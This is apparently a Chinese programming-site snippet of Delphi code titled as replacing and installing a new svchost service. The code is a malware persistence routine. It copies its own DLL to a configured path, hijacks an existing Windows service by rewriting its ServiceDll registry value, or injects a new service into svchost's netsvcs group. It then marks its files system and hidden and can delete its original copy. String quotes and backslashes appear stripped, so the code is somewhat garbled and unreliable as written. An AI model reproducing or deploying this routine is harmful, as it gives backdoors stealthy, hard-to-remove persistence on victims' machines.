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替换和安装新svchost服务
2014-11-23 20:18:02 】 浏览:386
Tags:替换 安装 svchost 服务

procedure Install(var DelMe:Boolean );stdcall ;
var
FileName: array[0..255] of Char;
reg:TRegistry;
hSCM,hSCS: Cardinal ;
ss : TServiceStatus;
Args : PChar;
s,s1:string;
begin
FillChar(FileName,SizeOf(FileName),0);
GetModuleFileName(HInstance, FileName, SizeOf(FileName));
s := Config.DIR+config.FileName;
reg := TRegistry.Create;
reg.RootKey := HKEY_LOCAL_MACHINE ;
hSCM := OpenSCManager(nil,Nil,SC_MANAGER_ALL_ACCESS);
if hSCM = 0 then Exit ;
case Config.StartupMode of
RunAsServiceD : //s:现存服务启动
begin
hSCS := OpenService(hSCM ,PChar(string(config.SrvName)), SERVICE_ALL_ACCESS);
if hSCS <> 0 then
begin
ControlService(hSCS ,SERVICE_CONTROL_STOP,ss);
ChangeServiceConfig(hSCS,
SERVICE_WIN32_OWN_PROCESS or SERVICE_INTERACTIVE_PROCESS,
SERVICE_AUTO_START,
SERVICE_NO_CHANGE,
nil,nil,nil,nil,nil,nil,nil);
if lstrcmpi(FileName,PChar(s)) <> 0 then
begin
Setfileattributes(PChar(s),FILE_ATTRIBUTE_NORMAL );
CopyFile(FileName, PChar(s),False) ; //copy到指定文件夹
end;
reg.OpenKey(SYSTEMCurrentControlSetServices+config.SrvName+,True) ;
SetPrivilege(SeBackupPrivilege);
RegSaveKey(reg.CurrentKey ,PChar(s+.uns),nil);
SetPrivilege(SeBackupPrivilege,False );
reg.CloseKey;
reg.OpenKey(SYSTEMCurrentControlSetServices+config.SrvName+
Parameters,True) ;
reg.WriteData(ServiceDll,s[1],Length(s),REG_EXPAND_SZ );
StartService(hSCS , 0, Args);
CloseServiceHandle(hSCS);
end;
end;
RunAsService : //新建服务启动
begin
InstallService(Config.SrvName,
Config.DisplayName,
%SystemRoot%System32svchost.exe -k netsvcs,
Config.Description); //安装服务
if lstrcmpi(FileName,PChar(s)) <> 0 then
begin
Setfileattributes(PChar(s),FILE_ATTRIBUTE_NORMAL );
CopyFile(FileName, PChar(s),False) ; //copy到指定文件夹
end;

reg.OpenKey(SYSTEMCurrentControlSetServices+config.SrvName+
Parameters,True) ;
reg.WriteData(ServiceDll,s[1],Length(s),REG_EXPAND_SZ );
reg.CloseKey;
reg.OpenKey(SOFTWAREMicrosoftWindows NTCurrentVersionSvchost,False );
SetPrivilege(SeBackupPrivilege);
RegSaveKey(reg.CurrentKey ,PChar(s+.uns),nil);
SetPrivilege(SeBackupPrivilege,False );
s1 := reg.ReadString(netsvcs);
s1 := config.SrvName+#0+s1;
reg.WriteData(netsvcs,s1[1],Length(s1),REG_MULTI_SZ );
hSCS := OpenService(hSCM ,PChar(string(config.SrvName)), SERVICE_ALL_ACCESS);
if hSCS <> 0 then
begin
StartService(hSCS , 0, Args);
CloseServiceHandle(hSCS);
end;
end;
end;
CloseServiceHandle(hSCM);
reg.CloseKey ;
reg.Free;
Setfileattributes(PChar(s),FILE_ATTRIBUTE_SYSTEM+FILE_ATTRIBUTE_HIDDEN);
Setfileattributes(PChar(s+.uns),FILE_ATTRIBUTE_SYSTEM+
FILE_ATTRIBUTE_HIDDEN);
DelMe := Config.RMwIns;
end;

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